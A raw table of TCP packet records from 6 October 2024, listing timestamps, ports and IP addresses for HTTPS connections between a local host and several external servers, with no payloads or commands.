Oct 6, 2024 13:20:51.858644009 CEST	49712	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:51.889669895 CEST	49716	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:51.889713049 CEST	443	49716	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:51.889831066 CEST	49716	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:51.890096903 CEST	49716	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:51.890106916 CEST	443	49716	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:52.018874884 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.018928051 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.018989086 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.040880919 CEST	443	49715	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:52.040987968 CEST	443	49715	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:52.041038036 CEST	49715	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:52.060209990 CEST	49715	443	192.168.2.7	172.67.175.206
Oct 6, 2024 13:20:52.060245991 CEST	443	49715	172.67.175.206	192.168.2.7
Oct 6, 2024 13:20:52.367418051 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.367486954 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.367517948 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.367553949 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.367572069 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.367608070 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.367619991 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.367629051 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.367666960 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.367682934 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.367749929 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.367897987 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.367938042 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.367944002 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.367980957 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.367985010 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.416584015 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.416625977 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.426851034 CEST	49718	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.426959038 CEST	443	49718	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.427078962 CEST	49718	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.431356907 CEST	49718	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.431407928 CEST	443	49718	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.440655947 CEST	49719	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.440694094 CEST	443	49719	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:52.440767050 CEST	49719	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.441211939 CEST	49720	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.441255093 CEST	443	49720	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:52.441457033 CEST	49720	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.441660881 CEST	49721	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.441721916 CEST	443	49721	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:52.441776037 CEST	49721	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.442327976 CEST	49722	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.442354918 CEST	443	49722	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:52.442574024 CEST	49722	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.443181038 CEST	49723	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.443200111 CEST	443	49723	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:52.443423986 CEST	49724	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.443461895 CEST	443	49724	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:52.443490982 CEST	49723	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.443521976 CEST	49724	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.444013119 CEST	49719	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.444061995 CEST	443	49719	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:52.454441071 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.454473972 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.454513073 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.454531908 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.454550028 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.454574108 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.454973936 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.455009937 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.455041885 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.455060959 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.455075026 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.455090046 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.455459118 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.455499887 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.455516100 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.455527067 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.455583096 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.455606937 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.455626011 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.455631018 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.455646038 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.456326008 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.456371069 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.456382990 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.456398964 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.456451893 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.456497908 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.456505060 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.456543922 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.457169056 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.470544100 CEST	49720	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.470580101 CEST	443	49720	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:52.471128941 CEST	49721	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.471177101 CEST	443	49721	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:52.471822977 CEST	49722	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.471852064 CEST	443	49722	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:52.472389936 CEST	49723	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.472402096 CEST	443	49723	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:52.472918034 CEST	49724	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:52.472939014 CEST	443	49724	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:52.474047899 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:52.474098921 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:52.474338055 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:52.475022078 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:52.475048065 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:52.475415945 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:52.475435019 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:52.475471020 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:52.476351976 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:52.476370096 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:52.508487940 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.508527994 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.551515102 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.551630974 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.551665068 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.551696062 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.551781893 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.551803112 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.552248955 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.552325964 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.552383900 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.552398920 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.552452087 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.552464008 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.552606106 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.552663088 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.552674055 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.552719116 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.552752018 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.552932978 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.554661989 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.554696083 CEST	443	49710	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.554725885 CEST	49710	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.565469980 CEST	443	49716	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:52.567146063 CEST	49716	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:52.569582939 CEST	49716	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:52.569593906 CEST	443	49716	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:52.569819927 CEST	443	49716	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:52.573467970 CEST	49716	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:52.619401932 CEST	443	49716	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:52.847399950 CEST	443	49716	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:52.847474098 CEST	443	49716	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:52.847609043 CEST	49716	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:52.848705053 CEST	49716	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:52.848705053 CEST	49716	443	192.168.2.7	184.28.90.27
Oct 6, 2024 13:20:52.848726034 CEST	443	49716	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:52.848737001 CEST	443	49716	184.28.90.27	192.168.2.7
Oct 6, 2024 13:20:52.886321068 CEST	443	49718	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.887339115 CEST	49718	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.887381077 CEST	443	49718	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.887722969 CEST	443	49718	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.888463020 CEST	49718	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.888565063 CEST	443	49718	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.888720036 CEST	49718	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.930521965 CEST	49718	443	192.168.2.7	104.21.91.169
Oct 6, 2024 13:20:52.930567980 CEST	443	49718	104.21.91.169	192.168.2.7
Oct 6, 2024 13:20:52.935772896 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:52.937808037 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:52.937844992 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:52.938870907 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:52.938973904 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:52.940203905 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:52.941301107 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:52.941318035 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:52.942197084 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:52.942337036 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:52.942404032 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:52.942472935 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:52.943907022 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:52.943993092 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:52.944305897 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:52.944322109 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:52.944938898 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:52.944950104 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:52.991297960 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:52.991660118 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.043653965 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.043725967 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.043756962 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.043787003 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.043817997 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.043859959 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.043859959 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.043883085 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.043945074 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.044229031 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.044327974 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.044394016 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.044400930 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.048487902 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.048639059 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.048736095 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.048742056 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.049143076 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.057962894 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.072721004 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.072772980 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.072801113 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.072832108 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.072859049 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.072885036 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.072890997 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.072925091 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.072946072 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.072946072 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.073369980 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.073745966 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.073800087 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.073807955 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.073853970 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.073859930 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.104492903 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.107278109 CEST	443	49719	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.108481884 CEST	49719	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.108521938 CEST	443	49719	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.109683990 CEST	443	49719	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.109772921 CEST	49719	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.111298084 CEST	49719	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.111377954 CEST	443	49719	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.111610889 CEST	49719	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.111624002 CEST	443	49719	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.115032911 CEST	443	49721	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.115310907 CEST	443	49723	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.115711927 CEST	49721	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.115741014 CEST	443	49721	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.115963936 CEST	49723	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.115986109 CEST	443	49723	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.116336107 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.116353989 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.117218971 CEST	443	49721	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.117292881 CEST	49721	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.117424011 CEST	443	49723	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.117502928 CEST	49723	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.122354984 CEST	443	49722	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.122956991 CEST	443	49724	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.132086992 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.132158041 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.132194996 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.132247925 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.132251978 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.132275105 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.132350922 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.132380009 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.132399082 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.132399082 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.132405996 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.132565975 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.133074045 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.133121014 CEST	443	49720	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.133162022 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.133197069 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.133225918 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.133255959 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.133265018 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.133265018 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.133270979 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.133397102 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.133975029 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.134025097 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.134067059 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.134110928 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.134145021 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.134145021 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.134155989 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.134197950 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.134197950 CEST	49726	443	192.168.2.7	151.101.194.137
Oct 6, 2024 13:20:53.134948015 CEST	443	49726	151.101.194.137	192.168.2.7
Oct 6, 2024 13:20:53.145442009 CEST	49720	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.145454884 CEST	443	49720	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.146049023 CEST	49724	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.146074057 CEST	443	49724	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.146274090 CEST	49722	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.146307945 CEST	443	49722	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.147023916 CEST	49723	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.147116899 CEST	443	49720	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.147190094 CEST	443	49724	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.147198915 CEST	443	49723	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.147206068 CEST	49720	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.147237062 CEST	49724	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.147404909 CEST	443	49722	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.147475958 CEST	49722	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.149173021 CEST	49721	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.149286032 CEST	443	49721	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.149701118 CEST	49720	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.149826050 CEST	443	49720	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.150294065 CEST	49724	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.150356054 CEST	443	49724	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.150850058 CEST	49722	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.150928020 CEST	443	49722	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.151243925 CEST	49723	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.151261091 CEST	443	49723	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.151571989 CEST	49721	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.151582956 CEST	443	49721	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.151668072 CEST	49720	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.151678085 CEST	443	49720	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.151788950 CEST	49724	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.151809931 CEST	443	49724	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.152107954 CEST	49722	443	192.168.2.7	2.19.126.227
Oct 6, 2024 13:20:53.152113914 CEST	443	49722	2.19.126.227	192.168.2.7
Oct 6, 2024 13:20:53.159307957 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.159348965 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.159382105 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.159414053 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.159415007 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.159435034 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.159481049 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.159495115 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.159845114 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.159889936 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.159918070 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.159956932 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.159962893 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.160007954 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.160571098 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.160653114 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.160681009 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.160707951 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.160715103 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.160753965 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.161444902 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.161499023 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.161536932 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.161542892 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.161603928 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.162283897 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.162324905 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.162331104 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.162370920 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.162377119 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.162420988 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.163121939 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.163151026 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.163172007 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.163178921 CEST	443	49725	104.17.25.14	192.168.2.7
Oct 6, 2024 13:20:53.163208961 CEST	49725	443	192.168.2.7	104.17.25.14
Oct 6, 2024 13:20:53.163480043 CEST	49719	443	192.168.2.7	2.19.126.227
